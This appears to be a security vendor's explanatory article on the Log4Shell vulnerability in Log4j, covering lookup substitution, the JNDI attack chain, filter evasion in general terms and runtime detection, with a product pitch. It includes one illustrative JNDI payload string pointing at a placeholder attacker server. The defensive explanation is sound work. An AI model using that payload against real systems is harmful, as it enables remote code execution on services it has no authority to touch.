The attacker did not need to reach a login page, upload a file, or find a traditional form field. With Log4Shell, a single string logged anywhere by a vulnerable application could be enough to reach remote code execution.
That fact made the Log4j exploit unusually dangerous. Applications log headers, usernames, search terms, filenames, error messages, and API data constantly. Any attacker-controlled value that reached log4j-core could become the first step in an attack chain.
This article explains the mechanism conceptually for defenders and engineers: how message lookup substitution and JNDI combined, how a logged string became an outbound connection and remote class load, why early filters were easy to evade, and why runtime behavior was the most reliable detection point. It does not provide working bypass variants or a copy-and-paste exploitation walkthrough.
Key Takeaways
- The Log4j exploit, CVE-2021-44228, abused a legitimate feature that resolved ${...} lookups inside log messages at runtime.
- A JNDI lookup string logged as ordinary data could make the application connect to an attacker-controlled directory service and load remote code.
- The attacker did not need authentication. The string only needed to land in data the application actually logged, such as a header, form field, username, or filename.
- The vulnerable range was Log4j 2.0-beta9 through 2.14.1 for commonly deployed Java 8 systems. The underlying JNDI injection technique had been discussed publicly years before Log4Shell.
- Payload text could be obfuscated, so static signatures and WAF rules were bypassable. The exploit's runtime actions, including the outbound lookup and class loading, were harder to hide.
The Feature Behind the Flaw
Message Lookup Substitution
Log4j supported message lookup substitution. When the logger encountered special ${...} syntax, it could resolve dynamic values at runtime rather than write the characters as plain text.
For example, an application could use a lookup to include a Java runtime property or environment value in a log. This was intended as a convenience for enriching output. The Log4Shell vulnerability appeared because untrusted log content could reach that substitution mechanism.
The design mistake was not that dynamic lookup existed. It was that a logging library treated attacker-influenced message data as an instruction to perform a lookup. The boundary between content and control disappeared.
What JNDI Was Supposed to Do
JNDI, the Java Naming and Directory Interface, is a standard Java API for looking up named resources. An application might use it to find a database connection, message queue, directory object, or other service through a provider such as LDAP.
JNDI was not created as an exploitation feature, and Log4j message lookups were not intended to hand an attacker code execution. The danger came from combining them: Log4j allowed a JNDI lookup to be triggered from inside a logged string, and vulnerable Java behavior could then resolve attacker-controlled remote content.
That combination turned a passive operation, writing a log entry, into an active network and code-loading path.
The Log4j Attack Chain, Step by Step
The illustrative payload shape below shows the data flow without including obfuscation or filter-bypass techniques:
${jndi:ldap://attacker-server/resource}
Step 1: The Malicious String Gets Logged
The attacker places the lookup string in an input the application is likely to record. Common surfaces included User-Agent and other HTTP headers, usernames, form fields, filenames, chat messages, API request bodies, and values that appear in error logs.
No authentication or special role was required when an internet-facing service logged those values before access control. The string only had to travel through application code and reach the vulnerable logger.
Step 2: Log4j Resolves the Lookup
Instead of treating the ${...} characters as ordinary text, vulnerable Log4j versions parsed them as a lookup expression. The jndi prefix selected the JNDI lookup mechanism, and the remainder identified the remote resource.
At this point, the attack was no longer only data in a request. The logging library had converted that data into control flow inside the application.
Step 3: The Application Connects Out
JNDI initiated a connection to the server named in the lookup, commonly using LDAP. The connection originated from the vulnerable application, so it used the application's network position and egress permissions.
This is the moment a logged string became an outbound network action. Even if inbound filtering allowed only normal web traffic, the application could still reach an attacker-controlled service if outbound access was not restricted.
DNS also became useful evidence. In some exploitation and testing patterns, a lookup produced a DNS request even when later stages did not complete. That made unexpected name resolution from a logging path a valuable runtime signal.
Step 4: A Remote Class Is Loaded
The attacker's directory service responded with a reference that could lead the vulnerable Java process to a remote class. The application downloaded or resolved that class through mechanisms available to the affected runtime.
Version, configuration, and Java runtime behavior affected the exact path, but the security boundary had already failed. Attacker-controlled input influenced where the application connected and what code it attempted to load.
Step 5: Code Execution
The loaded class ran inside the application process with the same operating-system and application privileges as that service. The attacker could then attempt to read secrets, access internal services, install malware, create a new process, or establish persistence.
The privilege level depended on how the application was deployed. A service running as root or with broad cloud permissions made the outcome worse, but even a constrained process could expose sensitive application data and trusted network paths.
Why the Log4j RCE Was So Easy to Exploit
The Input Surface Was Everything
Traditional injection vulnerabilities often depend on one specific endpoint or parameter. Log4Shell could arrive through almost any attacker-controlled value that an application logged.
Headers, usernames, filenames, form content, API bodies, and messages all became possible carriers. Developers frequently did not know every place their frameworks or third-party services generated logs, so inventorying the input surface under emergency conditions was difficult.
The attack also crossed organizational boundaries. A value submitted to one service might be forwarded, indexed, or logged by another downstream system. The component that finally evaluated the lookup was not always the internet-facing application that received the request.
Filters Were Bypassable by Design
Early defenses searched for the literal jndi:ldap pattern in incoming traffic. That blocked simple probes, but Log4j supported nested lookups and string transformations that could reconstruct the same expression after the request passed a filter.
Attackers used encoding, case variation, and obfuscation so the wire representation looked different while the logger resolved it to the same instruction. Publishing those working variants is unnecessary for understanding the lesson: pattern matching at the perimeter could not reliably model Log4j's internal evaluation behavior.
This is why WAF rules were useful as an emergency reduction measure but not a complete fix. They observed the string before application execution, not the behavior after the logger interpreted it.
Detecting the Log4j Attack in Practice
Why Static Detection Falls Short
Dependency scanning answers whether a vulnerable log4j-core version is present. It cannot prove that an attacker is exploiting it at this moment, and it may not reveal whether the vulnerable code path is active in the deployed application.
Inbound traffic scanning has the opposite limitation. It may identify a known payload shape, but it misses variants that are encoded or reconstructed inside Log4j. Neither approach sees the complete causal chain from a logging call to an outbound lookup and remote class load.
Static inventory and WAF detection still matter. One finds affected software, and the other reduces obvious attack traffic. The mistake is treating either as evidence that runtime exploitation cannot occur.
The Reliable Signal Is Runtime Behavior
The exploit has a behavioral sequence that cannot be obfuscated away because it is the purpose of the attack. A logging thread evaluates a lookup, the process makes an unexpected outbound LDAP or DNS request, code is loaded from an unusual source, and the application executes behavior outside its normal path.
Observing that sequence through runtime security detects the consequence even when the original payload string looks unfamiliar. Network egress controls can also break the chain by preventing the application from reaching attacker-controlled services.
Detection is not a substitute for remediation. Teams should still follow how to patch the Log4j vulnerability and remove affected versions. Runtime monitoring protects the exposure window and helps reveal whether exploitation was attempted before the fix landed.
How Runtime Detection Catches the Attack
Catching the Class Load, Not the Payload String
The payload can be rewritten endlessly, but steps three through five remain necessary: outbound communication, remote class loading, and code execution. Those are the behaviors the exploit needs to succeed.
Runtime ADR runs inside the application and represents execution as a deterministic call flow. For Log4Shell, that means showing which logging library and function evaluated the input, where the process made an unexpected connection, what class-loading path followed, and where execution departed from the normal application baseline.
Raven does not depend on a CVE, signature, or predefined rule to recognize an abnormal execution path. That matters for payload variants without signatures and for future exploits that have not entered a vulnerability database. The same application-level evidence maps an incident back to the owning commit, author, deployment, and service so the team knows where remediation belongs.
This is behavior detection, not inspection of the raw log string. Obfuscating the payload may fool a pattern matcher, but it does not remove the network and execution steps the exploit performs. For a broader comparison of control layers, see RASP vs WAF vs ADR.
The Log4j exploit was dangerous because it turned ordinary logged content into remote code execution through features that were never meant to meet attacker input. The initial string could arrive almost anywhere and could be disguised in many ways.
The resulting behavior was more stable. A logging path made an outbound connection and loaded code it should never have loaded. Understanding that mechanism gives defenders stronger detection logic than memorizing any single payload.


